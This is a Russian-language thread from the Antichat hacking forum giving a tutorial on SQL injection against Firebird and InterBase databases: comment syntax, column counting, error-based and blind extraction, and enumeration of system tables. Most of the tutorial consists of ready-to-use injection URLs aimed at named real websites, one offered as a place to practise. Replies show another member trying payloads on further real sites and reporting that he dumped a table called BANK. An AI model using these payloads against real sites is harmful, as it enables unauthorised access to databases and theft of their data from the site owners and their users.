HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Заметка по Firebird SQL injection
  #1  
Старый 13.01.2010, 20:18
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами: 10227206

Репутация: 2163
По умолчанию Заметка по Firebird SQL injection

история вопроса:
Цитата:
Firebird - это коммерчески независимый проект C и C++ программистов, технических советников и разработчиков мультиплатформенных систем управления базами данных, основанный на исходном коде, выпущенном корпорацией Borland 25 июля 2000 года в виде свободной версии Interbase 6.0.
почему firebird а не interbase? - бесплатность, распостраненность, функциональность, а в остальном они схожи )

особенности:

1. select запросы должны содержать кейворды from table

2. аналоги limit'a:

interbase >= 6.5

Код:
select * from table order by <field_list> 
[ROWS <lower_value> [TO <upper_value>] [BY <step_value>]
Firebird >= 1.0 select first [limit] skip [at], подробности

Firebird >= 2.0 так же поддерживает rows, подробности

3. символы комментариев:
3.1 -- firebird (>1.0)
3.2 а что мешает продолжить запрос?) interbase, firebird все версии =)

4. datatypes
Цитата:
Firebird is very strict with datatypes, and when you have different datatype in queries that make up the UNION it throws an error. It can happen even if difference is something trivial like CHAR(5) vs CHAR(6). It also happens for decimal and double datatypes, and (one of the most annoying) when you put NULL or zero.
5. discovering
warning: + php функции:
ibase_query()
ibase_fetch_row()
ibase_fetch_object()
ibase_fetch_assoc()
ibase_free_result()

6. конкатенация осуществляется символами ||

Теперь о самих sqli:

способ 1 (union select)

подбор колонок:

1) Дедовский способ:
Код:
?param=1+union+select+1+from+rdb$relations--
характерная ошибка: Invalid command count of column list and variable list do not match

2) order/group by
Код:
?param=1+order+by+99--
характерная ошибка: Invalid column position used in the ORDER BY

а дальше 2 варианта развития событий, либо типы столбцов не совпадают (Invalid command Data type unknown) и вам придется шаманить с cast(lala as datatype(n)) см. особенность (4)
либо вам повезло (с вероятностью 0.0001%)) и типы данных совпадают как, например, (сейчас и в дальнейшем главный подопытный) здесь:
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=2+union+select+rdb$fie ld_name,2+from+rdb$relation_fields--
способ 2 (conversion error)

состовляем подзапрос:

Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+rdb$re lation_name+from+rdb$relation_fields)--
и ловим следущую ошибку: conversion error from string "RDB$PAGES"

внимание, если появляется ошибка: arithmetic exception, numeric overflow, or string truncation
конвертируем данные с cast(lala as datatype(n))

теперь, независимо от выбранного вами способа, надо рассказать о некоторых системных таблицах firebird

rdb$relation - аналог information_schema.tables

полезные колонки:
Код:
rdb$relation_name - имя таблицы
rdb$system_flag - принадлежность таблицы к системным (хороший способ отсеивания, 1 = системная)
rdb$relation_fields - поля для таблиц

полезные колонки:
Код:
rdb$field_name - очевидно из названия
rdb$system_flag - то же самое
rdb$field_position - порядковый номер поля
rdb$relation_name, rdb$base_field - определяют имена таблиц
так же хотелось бы отметить присутствие колонки rdb$field_source, она содержит имя домена, автоматически прописанного для каждого столбца в rdb$fields, которая в свою очередь содержит колонку rdb$field_type, определяющую тип поля:
Код:
261 - BLOB
14 - CHAR
40 - CSTRING
11 - DFLOAT
27 - DOUBLE
10 - FLOAT
16 - INT64
8 - INTEGER
9 - QUAD
7 - SMALLINT
12 - DATE 
13 - TIME
35 - TIMESTAMP
37 - VARCHAR
что в теории в купе с bsqli может быть полезным для способа union select

how to use:

настало время вывести 1ую таблицу из rdb$relations, делается это так:
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+distin ct+rdb$relation_name+from+rdb$relations+where+rdb$ system_flag=0)--
=> conversion error from string "ACCESS"
далее, n=1,2,...
таблицы повторяются, поэтому желательно использовать оператор distinct:
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+n +distinct+rdb$relation_name+from+rdb$relations+whe re+rdb$system_flag=0)--
колонки (если ковычки слешируются можно воспользоватся функцией ascii_char (firebird 2.1), в InterBase по дефолту (поправте если ошибаюсь) вообще нет строковых функций=)):
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+n +rdb$field_name+from+rdb$relation_fields+where+rdb $system_flag=0+and+rdb$relation_name=ascii_char(83 )||ascii_char(85)||ascii_char(66)||ascii_char(83))--
выводим данные:
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+0 +distinct+cast(id||name+as+char(777))+from+autor)--
возможен и посимвольный перебор (n=1,2,...):
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+substring((select+first+ 1+rdb$relation_name+from+rdb$relation_fields)+from +n+for+1)!=ascii_char(63)+and+(1=1
хорошая картинко:



потренероваться можно здесь:
http://www.ppc4all.com/category.php?cat=(select+first+1+user+from+rdb$rel ation_fields)
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
 
Ответить с цитированием

  #2  
Старый 17.08.2013, 20:29
Unknowhacker
Участник форума
Регистрация: 25.05.2013
Сообщений: 249
С нами: 6825206

Репутация: 24
По умолчанию

Как раз Firebased SQL

Код:
http://crimea.ua/category.php?id=18%27+union+select+1,2+--+
но не прокатывает
 
Ответить с цитированием

  #3  
Старый 18.08.2013, 06:31
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами: 8417113

Репутация: 0
По умолчанию

Цитата:
Сообщение от Unknowhacker  
Как раз Firebased SQL
Код:
http://crimea.ua/category.php?id=18%27+union+select+1,2+--+
но не прокатывает
Это вам что, сканер так что-ли показывает? Нет тут инъекции, а Firebased и в помине.
 
Ответить с цитированием

  #4  
Старый 02.09.2013, 11:32
Unknowhacker
Участник форума
Регистрация: 25.05.2013
Сообщений: 249
С нами: 6825206

Репутация: 24
По умолчанию

Код:
http://seafarer.od.ua/?page=study&course=-2+union+select+1,rdb$relation_name,3,4,5,6,7+from+rdb$relations+--+
Ну вывел я таблицу BANK Смотрел обучалку Но там другой способ
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.